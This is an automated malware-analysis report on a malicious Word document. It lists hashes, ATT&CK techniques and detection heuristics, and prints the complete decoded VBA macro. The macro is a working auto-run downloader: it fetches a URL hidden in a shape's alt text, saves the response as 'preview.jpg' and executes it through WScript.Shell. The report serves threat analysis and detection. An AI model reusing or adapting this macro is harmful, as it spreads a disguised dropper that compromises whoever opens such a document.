Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 70dd3d31eaa46973…

MALICIOUS

Office (OOXML)

111.2 KB Created: 2020-08-13 09:45:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 861915f63c3fb852f5a5be57f369c6e2 SHA-1: 44d7b773d74e9189484d954676bc5e7dc52b0e6f SHA-256: 70dd3d31eaa46973a86daa3c37a8c8140029990af38d74948f355320f04f6072
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine that utilizes WScript.Shell and CreateObject to download content from an embedded URL and save it as 'preview.jpg'. This downloaded content is then executed, indicating a downloader or droppper functionality. The use of Shell() and WScript.Shell points to command execution, likely to launch the downloaded payload.

Heuristics 8

  • ClamAV: Doc.Malware.W2000m-9757284-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.W2000m-9757284-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function df9e122e(a600af58)
Set b8acfabf = CreateObject("wscript.shell")
Call b8acfabf.exec(a600af58)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function df9e122e(a600af58)
Set b8acfabf = CreateObject("wscript.shell")
Call b8acfabf.exec(a600af58)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AutoOpen()
Dim f5a419b7 As New d7cd71a8
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Framework\rels\builds\pack3\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1579 bytes
SHA-256: 3f946e23c0ec0f51c9bf8f164711bb151c9e6b4095cb42141ca2d154e276e528
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "b9d1ecfe"
Function ed71ee4c()
ed71ee4c = 1
End Function
Sub AutoOpen()
Dim f5a419b7 As New d7cd71a8
e5fbd99d = f5a419b7.c492b9b9(ActiveDocument.Shapes(ed71ee4c).AlternativeText)
df32966b ba9cf3dd(e5fbd99d)
f5a419b7.df9e122e dcd3f665
End Sub

Attribute VB_Name = "d255cded"
Sub df32966b(a3ce3f86)
Open f5d112a0 For Output As #1
Print #1, a3ce3f86
Close #1
End Sub
Function f5d112a0()
f5d112a0 = "preview.jpg"
End Function
Sub f45fc2da()
End Sub
Function ba9cf3dd(a3ce3f86)
ba9cf3dd = StrConv(a3ce3f86, 64)
End Function
Function dcd3f665()
dcd3f665 = ActiveDocument.Shapes(1).Title + " " + f5d112a0
End Function

Attribute VB_Name = "d7cd71a8"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function c492b9b9(bda8bf02)
Dim c32fe762 As Object
Set c32fe762 = New MSXML2.XMLHTTP60
c32fe762.Open "GET", bda8bf02, False
c32fe762.Send
'
With c32fe762
c492b9b9 = .responsebody
End With
End Function
Function df9e122e(a600af58)
Set b8acfabf = CreateObject("wscript.shell")
Call b8acfabf.exec(a600af58)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18432 bytes
SHA-256: 36ad0c193f92f500ae42732c2581a83c853bf6d42dcf244a362d862122bbd4cc
Detection
ClamAV: Doc.Malware.W2000m-9757284-0
Obfuscation or payload: unlikely

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